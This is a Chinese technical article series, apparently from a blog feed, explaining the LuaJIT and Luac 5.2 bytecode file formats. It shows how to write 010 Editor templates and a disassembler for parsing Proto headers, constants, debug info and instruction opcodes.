size字段是标识了从当前字段开始,整个Proto结构体的大小,当该字段的取值大于0时,表示当前Proto不为空,即Proto的header字段后,接下来会包含Instruction指令与Constants常量等信息,并且ProtoHeader部分也会多出其他几个字段。首先是flags字段,ProtoFlags是一个uchar类型,这里单独使用一个结构体表示,是为了之后编写010 Editor模板时,更方便的为其编写read方法。ProtoFlags取值如下:

typedef enum {
    FLAG_HAS_CHILD = 0b00000001,
    FLAG_IS_VARIADIC = 0b00000010,
    FLAG_HAS_FFI = 0b00000100,
    FLAG_JIT_DISABLED = 0b00001000,
    FLAG_HAS_ILOOP = 0b00010000
} PROTO_FLAG;

FLAG_HAS_CHILD标识当前Proto是一个“子函数”,即闭包(Closure)。这个标志位非常重要,为了更好的理解它的用处,先看下如下代码:

function Create(n) 
	local function foo1()
		print(n)
        local function foo2()
            n = n + 10 
		    print(n)
            local function foo3()
                n = n + 100
                print(n)
            end
        end
	end
	return foo1,foo2,foo3
end
f1,f2,f3 = Create(1000)
f1()

这段Lua代码中,最外层的Create()向内,每个function都包含一个Closure。现在回忆一下Luac文件格式中,它们是如何存储的?

在Luac文件中,每个Proto都有一个Protos字段,它用来描述Proto与Closure之间的层次信息,Proto采用从外向内的递归方式进行存储。而Luajit则采用线性的从内向外的同级结构进行存储,Proto与Closure之前的层级关系使用flags字段的FLAG_HAS_CHILD标志位进行标识,当flags字段的FLAG_HAS_CHILD标志位被置位,则表示当前层的Proto是上一层Proto的Closure

上面的代码片断在Luajit文件结构中的存局如下所示:

struct Luajit lj;
    struct GlobalHeader header;
    struct Proto proto[0];  //foo3()
    struct Proto proto[1];  //foo2()
    struct Proto proto[2];  //foo1()
    struct Proto proto[3];  //Create()
    struct Proto proto[4];  //Full file
    struct Proto proto[5];  //empty

从存局中可以看出,最内层的foo3()位于Proto的最外层,它与Luac的布局恰恰是相反的,而proto[4]表示了整个Lua文件,它是Proto的最上层。最后的proto[5],它在读取其ProtoHeader的size字段时,由于其值为0,而中止了整个文件的解析。即它的内容为空。

FLAG_IS_VARIADIC标识了当前Proto是否返回多个值,上面的代码中,只有Create()的flags字段会对该标志置位。FLAG_HAS_FFI标识当前Proto是否有通过FFI扩展调用系统的功能函数。FLAG_JIT_DISABLED标识当前Proto是否禁用JIT,对于包含了具体代码的Proto,它的值通常没有没有被置位,表示有JIT代码。FLAG_HAS_ILOOP标识了当前Proto是否包含了ILOOP与JLOOP等指令。

在flags字段后面,是arguments_count字段,表示当前Proto有几个参数。接着是framesize字段,标识了Proto使用的栈大小。接下来四个字段upvalues_count、complex_constants_count、numeric_constants_count、instructions_count,它们分别表示UpValue个数、复合常数、数值常数、指令条数等信息。

如果当前Proto包含调试信息,则接下来是3个uleb128类型的字段debuginfo_size、first_line_number、lines_count。其中debuginfo_size字段指明后面DebugInfo结构体占用的字节大小,first_line_number指明当前Proto在源文件中的起始行,lines_count字段指明当前Proto在源文件中所占的行数。

如果上面的instructions_count字段值不为0,接下来则存放的是指令Instruction数组,每条指令长度与Luac一样,占用32位,但使用的指令格式完全不同,此处不展开讨论它。

指令后面是常量信息,它的定义如下:

typedef struct(int32 upvalues_count, int32 complex_constants_count, int32 numeric_constants_count) {
    while (upvalues_count-- > 0) {
        uint16 upvalue;
    }
    
    while (complex_constants_count-- > 0) {
        ComplexConstant constant;
    }

    while (numeric_constants_count-- > 0) {
        NumericConstant numeric;
    }
} Constants;

可以看到,Constants中包含3个数组字段,每个字段的具体数目与前面指定的upvalues_count、complex_constants_count、numeric_constants_count相关。每个UpValue信息占用16位,ComplexConstant保存的常量信息比较丰富,它可以保存字符串、整型、浮点型、TAB表结构等信息。它的结构体开始处是一个uleb128类型的tp字段,描述了ComplexConstant保存的具体的数据。它的类型包括:

typedef enum {
    BCDUMP_KGC_CHILD = 0,
    BCDUMP_KGC_TAB = 1,
    BCDUMP_KGC_I64 = 2,
    BCDUMP_KGC_U64 = 3,
    BCDUMP_KGC_COMPLEX = 4,
    BCDUMP_KGC_STR = 5
} BCDUMP_KGC_TYPE;

这里重点关注下`BCDUMP_KGC_TAB,它表示这是一个Table表结构,即类似如下代码片断生成的数据内容:

tab={key1="val1",key2="val2"};

Table数据在Luajit中有专门的数据结构进行存储,它的定义如下:

typedef struct {
    uleb128 array_items_count;
    uleb128 hash_items_count;

    local int32 array_items_count_ = uleb128_value(array_items_count);
    local int32 hash_items_count_ = uleb128_value(hash_items_count);
    while (array_items_count_-- > 0) {
        ArrayItem array_item;
    }
    while (hash_items_count_-- > 0) {
        HashItem hash_item;
    }
} Table;

有基于数组的ArrayItem与基于Hash的HashItem两种Table类型结构,上面的tab即属于HashItem,它的定义如下:

typedef struct {
    TableItem key;
    TableItem value;
} HashItem;

TableItem描述了Table的键key与值value的类型与具体的数据内容,它的开始处是一个uleb128类型的tp字段,具体的取值类型如下:

typedef enum<uchar> {
    BCDUMP_KGC_CHILD = 0,
    BCDUMP_KGC_TAB = 1,
    BCDUMP_KGC_I64 = 2,
    BCDUMP_KGC_U64 = 3,
    BCDUMP_KGC_COMPLEX = 4,
    BCDUMP_KGC_STR = 5
} BCDUMP_KGC_TYPE;

当取到tp的类型值后,判断它的具体类型,然后接下来存放的即是具体的数据,TableItem在010 Editor中的模板结构体表示如下:

typedef struct {
    uleb128 tp;
    local int32 data_type = uleb128_value(tp);
    if (data_type >= BCDUMP_KTAB_STR) {
        local int32 len = data_type - BCDUMP_KTAB_STR;
        char str[len];
    } else if (data_type == BCDUMP_KTAB_INT) {
        uleb128 val;
    } else if (data_type == BCDUMP_KTAB_NUM) {
        TNumber num;
    } else if (data_type == BCDUMP_KTAB_TRUE) {
    } else if (data_type == BCDUMP_KTAB_FALSE) {
    } else if (data_type == BCDUMP_KTAB_NIL) {
    } else {
        Warning("TableItem need update\n");
    }
} TableItem;

当取值大于5,即大于BCDUMP_KTAB_STR时,它的类型为字符串,需要减去5后计算出它的实际内容长度。另外,上面的TNumber是由两个uleb128组成的分为高与低各32位的数据类型。

NumericConstant存储数值型的常量,比如local语句中赋值的整型与浮点型数据。它的定义如下:

typedef struct {
    uleb128_33 lo;
    if (lo.val[0] & 0x1)
        uleb128 hi;
} NumericConstant;

数值常量分为lo低部分与hi高部分,注意lo的类型为uleb128_33,它是一个33位版本的uleb128,即判断第一个字节后面是否还包含后续数据时,首先判断第33位是否置1。它的定义如下:

typedef struct {
    ubyte val;
    if((val >> 1) > 0x3f) {
        ubyte val <comment="uleb128 element">;
        if (val > 0x7f) {
            ubyte val <comment="uleb128 element">;
            if(val > 0x7f) {
                ubyte val <comment="uleb128 element">;
                if(val > 0x7f) {
                    ubyte val <comment="uleb128 element">;
                }
            }
        }
    }
} uleb128_33;

当读取到lo的最低为是1时,说明这是一个TNumber类型,还需要解析它的高32位部分。

在Constants常量结构体后面,如果ProtoHeader的debuginfo_size值大于0,那么接下来此处存放的是Debuginfo调试信息,它的定义如下:

typedef struct(int32 first_line_number, int32 lines_count, int32 instructions_count, int32 debuginfo_size, int32 upvalues_count) {
    if (debuginfo_size > 0) {
        LineInfo lineinfo(lines_count, instructions_count);

        if (upvalues_count > 0)
            UpValueNames upvalue_names(upvalues_count);
        
        VarInfos varinfos;
    }
} DebugInfo

分为LineInfo与VarInfos两部分,前者是存储的一条条的行信息,后者是局部变量信息。VarInfos中存储了变量的类型、名称、以及它的作用域起始地址与结束地址,它的定义如下:

typedef struct(uchar tp) {
    local uchar tp_ = tp;
    //Printf("tp:0x%x\n", tp);
    if (tp >= VARNAME__MAX) {
        string str;
    } else {
        VARNAME_TYPE vartype;
    }

    if (tp != VARNAME_END) {
        uleb128 start_addr;
        uleb128 end_addr;
    }
} VarInfo;

代码中的指令引用一个局部变量时,调试器可以通过其slot槽索引值到VarInfos中查找它的符号信息,这也是Luajit文件支持源码级调试的主要方法。

编写Luajit文件的010 Editor文件模板

在掌握了Luajit的完整格式后,编写010 Editor文件模板应该没有难度与悬念了。

Luajit的线性结构解析起来比Luac简单,只需要按顺序解析Proto,直接读取到字节0结束。整体部分的代码片断如下:

typedef struct() {
    ProtoHeader header;
    if (uleb128_value(header.size) > 0) {
        if (uleb128_value(header.instructions_count) > 0)
            Instruction inst[uleb128_value(header.instructions_count)];
        Constants constants(header.upvalues_count, uleb128_value(header.complex_constants_count), uleb128_value(header.numeric_constants_count));
        if (header.debuginfo_size_ > 0)
            DebugInfo debuginfo(uleb128_value(header.first_line_number), uleb128_value(header.lines_count), uleb128_value(header.instructions_count), header.debuginfo_size_, header.upvalues_count);

        local int64 end = FTell();
        //Printf("start:0x%lx, end:0x%lx, size:0x%lx\n", header.start, end, end - header.start);
        if (uleb128_value(header.size) != end - header.start) {
            Warning("Incorrectly read: from 0x%lx to 0x%lx (0x%lx) instead of 0x%lx\n", header.start, end, end - header.start, uleb128_value(header.size));
        }
    }
} Proto <optimize=false>;

typedef struct {
    GlobalHeader header;
    while (!FEof())
        Proto proto;
} Luajit <read=LuajitRead>;

string LuajitRead(Luajit &lj) {
    return lj.header.name;
}

Proto的header的size字段是当前Proto的大小,在解析的时候有必要对其合法性进行检查。

在编写模板时,只遇到过一个比较难解决的问题,那就是对NumericConstant中浮点数的解析。如下面的代码片断:

local dd = 3.1415926;

编译生成Luajit文件后,它会以浮点数据存储进入NumericConstant结构体中,并且它对应的64位数据为0x400921FB4D12D84A。在解析该数据时,并不能像Luac中TValue那样直接进行解析,Luac中声明的结构体TValue可以直接解析其内容,但Luajit中0x400921FB4D12D84A值的lo与hi是通过uleb128_33与uleb128两种数据类型动态计算才能得到。

将0x400921FB4D12D84A解析为double,虽然在C语言中只需要如下代码:

uint64_t p = 0x400921FB4D12D84A;
double *dd = (double *)&p;
printf("%.14g\n", *dd);

但010 Editor模板不支持指针数据类型,如果使用结构体UNION方式,C语言中如下方法即可转换:

union
{
    long long i;
    double    d;
} value;

value.i = l;

char buf[17];
snprintf (buf, sizeof(buf),"%.14g",value.d);

010 Editor虽然支持结构体与UNION,但并不支持声明local类型的结构体变量。所以,浮点数据的解析工作一度陷入了困境!最后,在010 Editor的帮且文档中执行“double”关键字,查找是否有相应的解决方法,最后找到了一个ConvertBytesToDouble()方法,编写代码进行测试:

local uchar chs[8];
chs[0] = 0x4A;
chs[1] = 0xD8;
chs[2] = 0x12;
chs[3] = 0x4D;
chs[4] = 0xFB;
chs[5] = 0x21;
chs[6] = 0x09;
chs[7] = 0x40;
local double ddd = ConvertBytesToDouble(chs);
Printf("%.14g\n", ddd);

输出如下:

3.141592502594

可见,不是直接进行的内存布局转换,而是进行了内部的计算转换,虽然与原来的3.1415926有少许的出入,但比起不能转换还是要强上许多,通过ConvertBytesToDouble(),可以为NumericConstant编写其read方法,代码如下:

string NumericConstantRead(NumericConstant &constant) {
    if (constant.lo.val[0] & 0x1) {
        local string str;
        local int i_lo = uleb128_33_value(constant.lo);
        local int i_hi = uleb128_value(constant.hi);
        local uchar bytes_lo[4];
        local uchar bytes_hi[4];
        local uchar bytes_double[8];
        ConvertDataToBytes(i_lo, bytes_lo);
        ConvertDataToBytes(i_hi, bytes_hi);
        Memcpy(bytes_double, bytes_lo, 4);
        Memcpy(bytes_double, bytes_hi, 4, 4);
        
        local double n = ConvertBytesToDouble(bytes_double);
        SPrintf(str, "%.14g", ((uleb128_value(constant.hi) == (3 | (1 << 4))) ? 
            i : n));
        return str;
    } else {
        local string str;
        local int number = uleb128_33_value(constant.lo);
        if (number & 0x80000000)
            number = -0x100000000 + number;

        SPrintf(str, "0x%lx", number);
        return str;
    }
}

最后,编写完成后,效果如图所示: 

luajit.jpg

完整的luajit.bt文件可以在这里找到: https://github.com/feicong/lua_re。

原文:https://github.com/feicong/lua_re/blob/master/lua/lua_re3.md

]]>
//www.wpr29.cn/2842.html/feed 0
Lua程序逆向之Luac字节码与反汇编 - 港妹免费六合图库▁九龙六合图库2013▁管家婆六合心水论坛▁六合图库 护民▁万家福六合心水论坛 //www.wpr29.cn/2838.html //www.wpr29.cn/2838.html#respond Thu, 28 Dec 2017 06:58:33 +0000 //www.wpr29.cn/?p=2838 作者:非虫

在了解完了Luac字节码文件的整体结构后,让我们把目光聚焦,放到更具体的指令格式上。Luac字节码指令是整个Luac最精华、也是最具有学习意义的一部分,了解它的格式与OpCode相关的知识后,对于逆向分析Luac,会有事半功倍的效果,同时,也为自己开发一款虚拟机执行模板与引擎打下良好的理论基础。

指令格式分析

Luac指令在Lua中使用Instruction来表示,是一个32位大小的数值。在Luac.bt中,我们将其定义了为Inst结构体,回顾一下它的定义与读取函数:

typedef struct(int pc) {
    local int pc_ = pc;
    local uchar inst_sz = get_inst_sz();
    if (inst_sz == 4) {
        uint32 inst;
    } else {
        Warning("Error size_Instruction.");
    }
} Inst <optimize=false>;

定义的每一条指令为uint32,这与ARM处理器等长的32位指令一样,但不同的是,Lua 5.2使用的指令只有40条,也就是说,要为其Luac编写反汇编引擎,比起ARM指令集,在工作量上要少出很多。

Luac指令完整由:OpCode、OpMode操作模式,以及不同模式下使用的不同的操作数组成。

官方5.2版本的Lua使用的指令有四种格式,使用OpMode表示,它的定义如下:

enum OpMode {iABC, iABx, iAsBx, iAx};

其中,i表示6位的OpCode;A表示一个8位的数据;B表示一个9位的数据,C表示一个9位的无符号数据;后面跟的x表示数据组合,如Bx表示B与C组合成18位的无符号数据,Ax表示A与B和C共同组成26位的无符号数据。sBx前的s表示是有符号数,即sBx是一个18位的有符号数。

ABC这些字节大小与起始位置的定义如下:

#define SIZE_C		9
#define SIZE_B		9
#define SIZE_Bx		(SIZE_C + SIZE_B)
#define SIZE_A		8
#define SIZE_Ax		(SIZE_C + SIZE_B + SIZE_A)

#define SIZE_OP		6

#define POS_OP		0
#define POS_A		(POS_OP + SIZE_OP)
#define POS_C		(POS_A + SIZE_A)
#define POS_B		(POS_C + SIZE_C)
#define POS_Bx		POS_C
#define POS_Ax		POS_A

从定义中可以看来,从位0开始,ABC的排列为A->C->B。

以小端序为例,完整的指令格式定义如下表所示:

OpMode B C A OpCode
iABC B(23~31) C(14~22) A(6~13) opcode(0~5)
iABx Bx (14~31) A(6~13) opcode(0~5)
iAsBx sBx (14~31) A(6~13) opcode(0~5)
iAx Ax A(6~31) opcode(0~5)

先来看最低6位的OpCode,在Lua中,它使用枚举表示,5.2版本的Lua支持40条指令,它们的定义如下所示:

typedef enum {
/*----------------------------------------------------------------------
name		args	description
------------------------------------------------------------------------*/
OP_MOVE,/*	A B	R(A) := R(B)					*/
OP_LOADK,/*	A Bx	R(A) := Kst(Bx)					*/
OP_LOADBOOL,/*	A B C	R(A) := (Bool)B; if (C) pc++			*/
OP_LOADNIL,/*	A B	R(A) := ... := R(B) := nil			*/
OP_GETUPVAL,/*	A B	R(A) := UpValue[B]				*/

OP_GETGLOBAL,/*	A Bx	R(A) := Gbl[Kst(Bx)]				*/
OP_GETTABLE,/*	A B C	R(A) := R(B)[RK(C)]				*/

OP_SETGLOBAL,/*	A Bx	Gbl[Kst(Bx)] := R(A)				*/
OP_SETUPVAL,/*	A B	UpValue[B] := R(A)				*/
OP_SETTABLE,/*	A B C	R(A)[RK(B)] := RK(C)				*/
......
OP_CLOSE,/*	A 	close all variables in the stack up to (>=) R(A)*/
OP_CLOSURE,/*	A Bx	R(A) := closure(KPROTO[Bx], R(A), ... ,R(A+n))	*/

OP_VARARG/*	A B	R(A), R(A+1), ..., R(A+B-1) = vararg		*/
} OpCode;

OpCode定义的注释中,详细说明了每一条指令的格式、使用的参数,以及它的含义。以第一条OP_MOVE指令为例,它接受两个参数R(A)与R(B),的作用是完成一个赋值操作“R(A) := R(B)”。

从指令的格式可以看出,尽管OpCode定义的注释中描述了每条指令使用的哪种OpMode,但32位的指令格式中,并没有指出到底每个OpCode对应哪一种OpMode,Lua的解决方法是单独做了一张OpMode的表格luaP_opmodes,它的定义如下:

LUAI_DDEF const lu_byte luaP_opmodes[NUM_OPCODES] = {
/*       T  A    B       C     mode		   opcode	*/
  opmode(0, 1, OpArgR, OpArgN, iABC)		/* OP_MOVE */
 ,opmode(0, 1, OpArgK, OpArgN, iABx)		/* OP_LOADK */
 ,opmode(0, 1, OpArgN, OpArgN, iABx)		/* OP_LOADKX */
 ,opmode(0, 1, OpArgU, OpArgU, iABC)		/* OP_LOADBOOL */
 ,opmode(0, 1, OpArgU, OpArgN, iABC)		/* OP_LOADNIL */
 ,opmode(0, 1, OpArgU, OpArgN, iABC)		/* OP_GETUPVAL */
 ,opmode(0, 1, OpArgU, OpArgK, iABC)		/* OP_GETTABUP */
 ,opmode(0, 1, OpArgR, OpArgK, iABC)		/* OP_GETTABLE */
 ,opmode(0, 0, OpArgK, OpArgK, iABC)		/* OP_SETTABUP */
 ,opmode(0, 0, OpArgU, OpArgN, iABC)		/* OP_SETUPVAL */
 ,opmode(0, 0, OpArgK, OpArgK, iABC)		/* OP_SETTABLE */
 ,opmode(0, 1, OpArgU, OpArgU, iABC)		/* OP_NEWTABLE */
 ,opmode(0, 1, OpArgR, OpArgK, iABC)		/* OP_SELF */
 ,opmode(0, 1, OpArgK, OpArgK, iABC)		/* OP_ADD */
 ,opmode(0, 1, OpArgK, OpArgK, iABC)		/* OP_SUB */
 ......
 ,opmode(0, 1, OpArgU, OpArgN, iABx)		/* OP_CLOSURE */
 ,opmode(0, 1, OpArgU, OpArgN, iABC)		/* OP_VARARG */
 ,opmode(0, 0, OpArgU, OpArgU, iAx)		/* OP_EXTRAARG */
};

构成完整的OpMode列表使用了opmode宏,它的定义如下:

#define opmode(t,a,b,c,m) (((t)<<7) | ((a)<<6) | ((b)<<4) | ((c)<<2) | (m))

它将OpMode相关的数据采用一字节表示,并将其组成划分为以下几个部分:

  1. m位,占最低2位,即前面OpMode中定义的四种模式,通过它,可以确定OpCode的参数部分。

  2. c位,占2~3位,使用OpArgMask表示,说明C参数的类型。定义如下:

    enum OpArgMask {
        OpArgN,  /* 参数未被使用 */
        OpArgU,  /* 已使用参数 */
        OpArgR,  /* 参数是寄存器或跳转偏移 */
        OpArgK   /* 参数是常量或寄存器常量 */
    };

  3. b位,占4~5位。使用OpArgMask表示,说明B参数的类型。

  4. a位,占位6。表示是否是寄存器操作。

  5. t位,占位7。表示是否是测试操作。跳转和测试指令该位为1。

将luaP_opmodes的值使用如下代码打印出来:

printf("opcode ver 5.2:\n");
for (int i=0; i<sizeof(luaP_opmodes); i++) {
    printf("0x%x, ", luaP_opmodes[i]);
}
printf("\n");

输出如下:

opcode ver 5.2:
0x60, 0x71, 0x41, 0x54, 0x50, 0x50, 0x5c, 0x6c, 0x3c, 0x10, 0x3c, 0x54, 0x6c, 0x7c, 0x7c, 0x7c, 0x7c, 0x7c, 0x7c, 0x60, 0x60, 0x60, 0x68, 0x22, 0xbc, 0xbc, 0xbc, 0x84, 0xe4, 0x54, 0x54, 0x10, 0x62, 0x62, 0x4, 0x62, 0x14, 0x51, 0x50, 0x17,

可以看到,有很多指令的OpMode是相同的,比如有多条指令对应的值都是0x7c,如果OpMode的顺序经过修改,要想通过OpMode直接还原所有的指令,是无法做到的,需要配合其他方式来还原,比如Lua虚拟机对指令的处理部分。

反汇编引擎实现

编写反汇编引擎需要做到以下几点:

  1. 正确的识别指令的OpCode。识别该条指令对应的OpCode,了解当前指令的作用。

  2. 处理指令的参数列表。解析不同指令使用到的参数信息,与OpCode在一起可以完成指令反汇编与指令的语义转换。

  3. 指令解析。反汇编引擎应该能够支持所有的指令。

  4. 指令语义转换。完成反汇编后,加入语义转换,更加方便了解指令的意图。

  5. 处理指令依赖关系。处理语义转换时,需要处理好指令之前的关系信息。

下面,我们一条条看如何实现。

OpCode获取

首先是通过指令获取对应的OpCode,即传入一个32位的指令值,返回一个OpCode的名称。Lua中有一个GET_OPCODE宏可以通过指令返回对应的OpCode,定义如下:

#define GET_OPCODE(i)	(cast(OpCode, ((i)>>POS_OP) & MASK1(SIZE_OP,0)))

这个宏在010 Editor模板语法中并不支持,因此,实现上,需要编写展开后的代码,并将其定义为函数。功能上就是取32位指令的最低6位,代码如下所示:

uchar GET_OPCODE(uint32 inst) {
    return ((inst)>>POS_OP) & ((~((~(Instruction)0)<<(SIZE_OP)))<<(0));
}

参数获取

取指令的参数,包括取指令的A、B、C、Bx、Ax、sBx等信息。前面已经介绍了它们在指令中的位偏移,因此,获取这些参数信息与获取OpCode一样,Lua中提供了GETARG_A、GETARG_B、GETARG_C、GETARG_Bx、GETARG_Ax、GETARG_sBx等宏来完成这些功能,定义如下:

#define GETARG_A(i)	getarg(i, POS_A, SIZE_A)
#define GETARG_B(i)	getarg(i, POS_B, SIZE_B)
#define GETARG_C(i)	getarg(i, POS_C, SIZE_C)
#define GETARG_Bx(i)	getarg(i, POS_Bx, SIZE_Bx)
#define GETARG_Ax(i)	getarg(i, POS_Ax, SIZE_Ax)
#define GETARG_sBx(i)	(GETARG_Bx(i)-MAXARG_sBx)

同样的,010 Editor模板语法不支持直接定义这些宏,需要编写展开后的代码,实现如下:

int GETARG_A(uint32 inst) {
    return ((inst)>>POS_A) & ((~((~(Instruction)0)<<(SIZE_A)))<<(0));
}

int GETARG_B(uint32 inst) {
    return ((inst)>>POS_B) & ((~((~(Instruction)0)<<(SIZE_B)))<<(0));
}

int GETARG_C(uint32 inst) {
    return ((inst)>>POS_C) & ((~((~(Instruction)0)<<(SIZE_C)))<<(0));
}

int GETARG_Bx(uint32 inst) {
    return ((inst)>>POS_Bx) & ((~((~(Instruction)0)<<(SIZE_Bx)))<<(0));
}

int GETARG_Ax(uint32 inst) {
    return ((inst)>>POS_Ax) & ((~((~(Instruction)0)<<(SIZE_Ax)))<<(0));
}

int GETARG_sBx(uint32 inst) {
    return GETARG_Bx(inst)-MAXARG_sBx;
}

指令解析

在指令解析的编写工作上,参考了luadec的反汇编引擎。它的实现主要位于luadec_disassemble()函数。这里要做的工作就是将它的所有代码与语法都进行一次010 Editor模板语法化。代码片断如下:

// luadec_disassemble() from luadec disassemble.c
string InstructionRead(Inst &inst) {
    local int i = inst.inst;
    OpCode o = (OpCode)GET_OPCODE(i);
    /*
    Printf("inst: 0x%x\n", o);
    */
    local int a = GETARG_A(i);
    local int b = GETARG_B(i);
    local int c = GETARG_C(i);
    local int bc = GETARG_Bx(i);
    local int sbc = GETARG_sBx(i);
    local int dest;
    local string line;
    local string lend;
    local string tmpconstant1;
    local string tmpconstant2;
    local string tmp;
    local string tmp2;
    local uchar lua_version_num = get_lua_version();
    local int pc = inst.pc_;

    //Printf("Inst: %s\n", EnumToString(o));
    switch (o) {
        case OP_MOVE:
			/*	A B	R(A) := R(B)					*/
			SPrintf(line,"R%d R%d",a,b);
			SPrintf(lend,"R%d := R%d",a,b);
			break;
        case OP_LOADK:  //FIXME OP_LOADK DecompileConstant
			/*	A Bx	R(A) := Kst(Bx)					*/
			SPrintf(line,"R%d K%d",a,bc);
            //Printf("OP_LOADK bc:%d\n", bc);
			tmpconstant1 = DecompileConstant(parentof(parentof(inst)),bc);
			SPrintf(lend,"R%d := %s",a,tmpconstant1);
			break;
        ......
        case OP_CLOSURE:
        {
			/*	A Bx	R(A) := closure(KPROTO[Bx])		*/
			SPrintf(line,"R%d %d",a,bc);
			SPrintf(lend, "R%d := closure(Function #%d)", a, bc);
			break;
        }
		default:
			break;

    }

    local string ss;
    SPrintf(ss, "[%d] %-9s %-13s; %s\n", pc, get_opcode_str(o),line,lend);

    return ss;
}

上面的代码中,通过GET_OPCODE获取OpCode后,分别对它进行判断与处理,参数信息在函数的最开始获取,方便指令中使用。pc表示当前执行的指令所在位置,方便代码中做语义转换与依赖处理。代码中这一行需要注意:

DecompileConstant(parentof(parentof(inst))

因为处理指令时,需要读取指令所在Proto的常量信息,但010 Editor尴尬的模板语法不支持传递指针,也不支持引用类型作为函数的返回值,这导致无法直接读到到Proto的Constants信息。幸好新版本的010 Editor的模板语法加入了self与parentof关键字,用于获取当前结构体与父结构体的字段信息,因此,这里需要对Proto结构体进行修改,让Code结构体成为它的内联的子结构体,如下所示:

typedef struct(string level) {
    local string level_ = level;
    //Printf("level:%s\n", level_);

    //header
    ProtoHeader header;

    //code
    //Code code;
    struct Code {
        uint32 sizecode <format=hex>;
        local uchar inst_sz = get_inst_sz();
        local int pc = 1;
        if (inst_sz == 4) {
            local uint32 sz = sizecode;
            while (sz-- > 0) {
                Inst inst(pc);
                pc++;
            }
        } else {
            Warning("Error size_Instruction.");
        }
        
        typedef struct(int pc) {
            local int pc_ = pc;
            local uchar inst_sz = get_inst_sz();
            if (inst_sz == 4) {
                uint32 inst;
            } else {
                Warning("Error size_Instruction.");
            }
        } Inst <read=InstructionRead, optimize=false>;
    
    } code <optimize=false>;

    ......

    // upvalue names
    UpValueNames names;
} Proto <read=ProtoRead>;

然后在代码中,通过parentof(parentof(inst)就能够返回一个Proto的引用类型,然后就可以愉快的读Proto中所有的字段数据了。

指令语义转换

所谓语义转换,就是将直接的指令格式表示成可以读懂的指令反汇编语句。如指令0x0000C1,反汇编后,它的指令表示为“LOADK R3 K0”,LOADK为OpCode的助记符,这里取助记符时,直接通过010 Editor模板函数EnumToString(),传入OpCode名,然后去掉前面的OP_就可以获得。使用get_opcode_str()实现该功能,代码如下:

string get_opcode_str(OpCode o) {
    string str = EnumToString(o);
    str = SubStr(str, 3);
    
    return str;
}

R3表示寄存器,K0表示常量1,即当前函数的Constants中索引为0的Constant。这一条指令经过语义转换后就变成了“R3 := xxx”,这个xxx是常量的值,需要通过DecompileConstant()获取它具体的值。

在进行语义转换时,将处理后的指令信息保存到line字符串中,将语义字符串转换到lend字符串中,处理完后输出时加在一起,中间放一个分号。如下所示是指令处理后的输出效果:

struct Inst inst[1]	[2] LOADK     R3 K0        ; R3 := 1

指令依赖处理

指令依赖是什么意思呢?即一条指令想要完整的了解它的语义,需要依赖它前面或后面的指令,就解析该指令时,需要用到指令前面或后面的数据。

拿OP_LE指令来说,它的注释部分如下:

/*	A B C	if ((RK(B) <= RK(C)) ~= A) then pc++  		*/

娄条件满足时,跳转去执行,否则pc向下,在编写反汇编引擎时,使用的代码片断如下:

case OP_LE:
    {
        /*	A B C	if ((RK(B) <= RK(C)) ~= A) then pc++  		*/
        dest = GETARG_sBx(parentof(inst).inst[pc+1].inst) + pc + 2;
        SPrintf(line,"%d %c%d %c%d",a,CC(b),CV(b),CC(c),CV(c));
        tmpconstant1 = RK(parentof(parentof(inst)), b);
        tmpconstant2 = RK(parentof(parentof(inst)), c);
        SPrintf(lend,"if %s %s %s then goto [%d] else goto [%d]",tmpconstant1,(a?invopstr(o):opstr(o)),tmpconstant2,pc+2,dest);
        break;
    }

dest是要跳转的目标地址,GETARG_sBx()返回的是一个有符号的跳转偏移,因为指令是可以向前与向后进行跳转的,RK宏判断参数是寄存器还是常量,然后返回它的值,这里的实现如下:

string RegOrConst(Proto &f, int r) {
	if (ISK(r)) {
		return DecompileConstant(f, INDEXK(r));
	} else {
		string tmp;
		SPrintf(tmp, "R%d", r);
		return tmp;
	}
}

//#define RK(r) (RegOrConst(f, r))
string RK(Proto &f, int r) {
    return (RegOrConst(f, r));
}

最终,OP_LE指令处理后输出如下:

struct Inst inst[35] [36] LE 0 R5 R6  ; if R5 <= R6 then goto [38] else goto [40]

其他所有的指令的处理可以参看luadec_disassemble()的代码,这里不再展开。

最后,所有的代码编写完成后,效果如图所示: 

luac_dis.jpg

luac.bt的完整实现可以在这里找到:https://github.com/feicong/lua_re

原文:https://github.com/feicong/lua_re/blob/master/lua/lua_re2.md

]]>
//www.wpr29.cn/2838.html/feed 0
Lua程序逆向之Luac文件格式分析 - 港妹免费六合图库▁九龙六合图库2013▁管家婆六合心水论坛▁六合图库 护民▁万家福六合心水论坛 //www.wpr29.cn/2833.html //www.wpr29.cn/2833.html#respond Thu, 28 Dec 2017 06:45:12 +0000 //www.wpr29.cn/?p=2833 作者:非虫

Lua语言对于游戏开发与相关逆向分析的人来说并不陌生。Lua语言凭借其高效、简洁与跨平台等多种特性,一直稳立于游戏、移动APP等特定的开发领域中。

目前Lua主要有5.1、5.2、5.3共三个版本。5.1版本的Lua之所以目前仍然被广泛使用的原因之一,是由于另一个流行的项目LuaJit采用了该版本Lua的内核。单纯使用Lua来实现的项目中,5.2与5.3版本的Lua则更加流行。这里主要以Lua版本5.2为例,通过分析它生成的Luac字节码文件,完成Lua程序的初步分析,为以后更深入的反汇编、字节码置换与重组等技能打下基础。

Lua与Luac

Lua与Python一样,可以被定义为脚本型的语言,与Python生成pyc字节码一样,Lua程序也有自己的字节码格式-luac。Lua程序在加载到内存中后,Lua虚拟机环境会将其编译为Luac(下面文中Luac与luac含义相同)字节码,因此,加载本地的Luac字节码与Lua源程序一样,在内存中都是编译好的二进制结构。

为了探究Luac的内幕,我们需要找到合适的资料与工具来辅助分析Luac文件。最好的资料莫过于Lua的源码,它包含了Lua相关知识的方方面面,阅读并理解Luac的构造与Lua虚拟机加载字节码的过程,便可以通透的了解Luac的格式。但这里并不打算这么做,而采取阅读第三方Lua反编译工具的代码。主要原因是:这类工具的代码往往更具有针对性,代码量也会少很多,分析与还原理解Luac字节码文件格式可以省掉不少的时间与精力。

luadec与unlua是最流行的Luac反汇编与反编译工具,前者使用C++语言开发,后者使用Java语言,这两个工具都能很好的还原与解释Luac文件,但考虑到Lua本身采用C语言开发,并且接下来打算编写010 Editor编辑器的Luac.bt文件格式模板,010 Editor的模板语法类似于C语言,为了在编码时更加顺利,这里分析时主要针对luadec。

Luac文件格式

一个Luac文件包含两部分:文件头与函数体。文件头格式定义如下:

typedef struct {
    char signature[4];   //".lua"
    uchar version;
    uchar format;
    uchar endian;
    uchar size_int;
    uchar size_size_t;
    uchar size_Instruction;
    uchar size_lua_Number;
    uchar lua_num_valid;
    uchar luac_tail[0x6];
} GlobalHeader;

